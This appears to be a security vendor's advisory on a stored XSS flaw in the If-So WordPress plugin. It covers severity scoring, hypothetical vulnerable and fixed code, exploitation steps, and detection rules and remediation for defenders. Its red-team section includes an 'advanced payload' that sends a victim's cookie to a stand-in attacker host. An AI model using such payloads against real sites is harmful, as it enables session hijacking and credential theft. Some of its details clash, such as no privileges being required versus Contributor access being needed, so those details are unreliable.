CVE-2025-49875

Executive Summary

CVE-2025-49875 is a Stored Cross-Site Scripting (XSS) vulnerability in the If-So Dynamic Content Personalization WordPress plugin, affecting versions up to and including 1.9.3.1. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit or patch is currently available. As a WordPress plugin vulnerability, it affects sites using the If-So plugin and requires user interaction for exploitation.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and may be included in managed WordPress hosting environments. Administrators should verify the plugin version and apply any available updates from the vendor. No package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for user interaction and the limited impact on confidentiality and integrity. However, stored XSS can be leveraged for more severe attacks if combined with other vulnerabilities.

Deep Dive & Mechanics

The vulnerability exists in the If-So Dynamic Content Personalization plugin, which allows site administrators to create dynamic content rules. The plugin fails to properly sanitize or escape user-supplied input when generating dynamic content, leading to stored XSS. An attacker with contributor-level access or higher can inject malicious JavaScript into fields such as content rules, conditions, or display settings. When other users (including administrators) view the affected page, the script executes in their browser context.

The root cause is the use of unsanitized input in HTML output without proper escaping. The plugin likely uses echo or print statements with user data without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is hypothesized based on common XSS in WordPress plugins.

Vulnerable Code (hypothetical):

// In a template or shortcode handler
$user_input = $_POST['dynamic_content'];
echo "<div class='if-so-content'>" . $user_input . "</div>";

Patched Code (hypothetical):

$user_input = sanitize_text_field( $_POST['dynamic_content'] );
echo "<div class='if-so-content'>" . esc_html( $user_input ) . "</div>";

The patched version uses sanitize_text_field() to strip dangerous tags and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with If-So plugin version <= 1.9.3.1
• Attacker account with at least Contributor role (or ability to inject via other means)

Exploitation Steps:

1. Log in as a Contributor.
2. Navigate to the If-So plugin settings (e.g., /wp-admin/admin.php?page=if-so).
3. Create a new dynamic content rule.
4. In a text field (e.g., "Content to display"), inject the following payload:

   <script>alert('XSS')</script>
   

5. Save the rule.
6. When an administrator or other user views a page where the rule is active, the script executes.

Advanced Payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team

Detection Steps:

1. Monitor WordPress admin logs for unusual plugin configuration changes.
2. Review the wp_postmeta table for entries containing <script> tags in fields related to If-So.
3. Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php or plugin-specific endpoints.

Hunting Query (SQL):

SELECT * FROM wp_postmeta WHERE meta_key LIKE '%if_so%' AND meta_value LIKE '%<script%';

Indicators of Compromise (IOCs)

• File Hashes: (None available; monitor for modified plugin files)
• Network Indicators:
  • Outbound connections to attacker-controlled domains from WordPress admin pages.
  • Suspicious POST requests to /wp-admin/admin-ajax.php with action=if_so_save_rule or similar.
• Log Entries:
  • WordPress debug log entries containing if-so and XSS or script keywords.
  • Web server access logs showing requests to /wp-content/plugins/if-so/ with unusual parameters.

Detection Engineering

YARA Rule

rule detect_if_so_xss {
    meta:
        description = "Detects stored XSS payloads in If-So plugin data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49875"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $plugin = "if-so"
    condition:
        $plugin and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: Stored XSS in If-So Dynamic Content Personalization
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in If-So plugin data
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Example WordPress audit log event
        Message|contains: 'if-so'
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in dynamic content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49875 Stored XSS in If-So Plugin"; flow:to_server,established; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=if_so_save_rule"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the If-So Dynamic Content Personalization plugin until a patch is available.
2. If disabling is not possible, restrict plugin access to trusted administrators only.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in plugin-specific POST requests.

Long-term Fix:

• Monitor the vendor's website for a patched version (>= 1.9.3.2) and apply it immediately.
• Conduct a security audit of all WordPress plugins for similar input sanitization issues.

Workaround:

• Use WordPress's built-in wp_kses_allowed_html() to restrict allowed HTML tags in plugin fields.
• Add custom code to sanitize plugin output using esc_html() or wp_kses_post().

Valters IT
Securing Digital Frontiers